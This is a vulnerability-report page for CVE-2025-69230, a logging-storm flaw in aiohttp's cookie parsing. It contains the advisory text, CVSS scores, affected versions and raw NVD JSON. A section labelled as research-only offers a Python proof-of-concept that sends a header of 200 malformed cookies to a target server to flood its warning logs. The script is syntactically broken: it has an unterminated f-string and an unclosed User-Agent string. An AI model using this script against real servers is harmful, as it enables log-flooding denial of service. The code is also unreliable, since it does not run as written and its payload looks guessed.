Security Vulnerability Report
中文
CVE-2025-69230 CVSS 5.3 MEDIUM

CVE-2025-69230

Published: 2026-01-06 00:15:48
Last Modified: 2026-01-14 19:17:43

Description

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, reading multiple invalid cookies can lead to a logging storm. If the cookies attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header. This issue is fixed in 3.13.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:* - VULNERABLE
aiohttp < 3.13.3
aiohttp <= 3.13.2
aiohttp <= 3.12.x (if applicable)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
"""\nCVE-2025-69230 PoC - AIOHTTP Logging Storm via Malformed Cookies\nThis PoC demonstrates how multiple invalid cookies can trigger a logging storm.\n"""\n\nimport requests\nimport time\n\n# Target URL - replace with actual vulnerable endpoint\nTARGET_URL = "http://target-server:8080/api/endpoint"\n\ndef generate_malformed_cookies(num_cookies=100):\n """\n Generate malformed cookie header value to trigger logging storm.\n Each cookie has invalid format to trigger warning logs.\n """\n malformed_cookies = []\n for i in range(num_cookies):\n # Create cookies with various invalid formats\n invalid_cookie = f"cookie_name_{i}=value; path=/invalid\"\n # Add cookies with illegal characters\n invalid_cookie += f"; bad\x00char=i"\n malformed_cookies.append(invalid_cookie)\n \n # Join all malformed cookies into single Cookie header\n return "; ".join(malformed_cookies)\n\n\ndef exploit():\n """\n Send malicious request with malformed cookies to trigger vulnerability.\n """\n print(f"[*] Targeting: {TARGET_URL}")\n print(f"[*] Generating malformed cookies to trigger logging storm...")\n \n cookie_header = generate_malformed_cookies(num_cookies=200)\n \n headers = {\n "Cookie": cookie_header,\n "User-Agent": "Mozilla/5.0 (Logging Storm Test)\n }\n \n print(f"[*] Cookie header length: {len(cookie_header)} bytes")\n print(f"[*] Sending malicious request...")\n \n try:\n start_time = time.time()\n response = requests.get(TARGET_URL, headers=headers, timeout=30)\n elapsed = time.time() - start_time\n \n print(f"[+] Request completed in {elapsed:.2f} seconds")\n print(f"[+] Response status: {response.status_code}")\n print(f"[*] Check server logs for warning message flood")\n \n except requests.RequestException as e:\n print(f"[-] Request failed: {e}")\n\n\nif __name__ == "__main__":\n exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69230", "sourceIdentifier": "[email protected]", "published": "2026-01-06T00:15:48.483", "lastModified": "2026-01-14T19:17:43.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, reading multiple invalid cookies can lead to a logging storm. If the cookies attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header. This issue is fixed in 3.13.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-779"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.3", "matchCriteriaId": "715B630E-B141-4247-A920-3FFBD8045A05"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}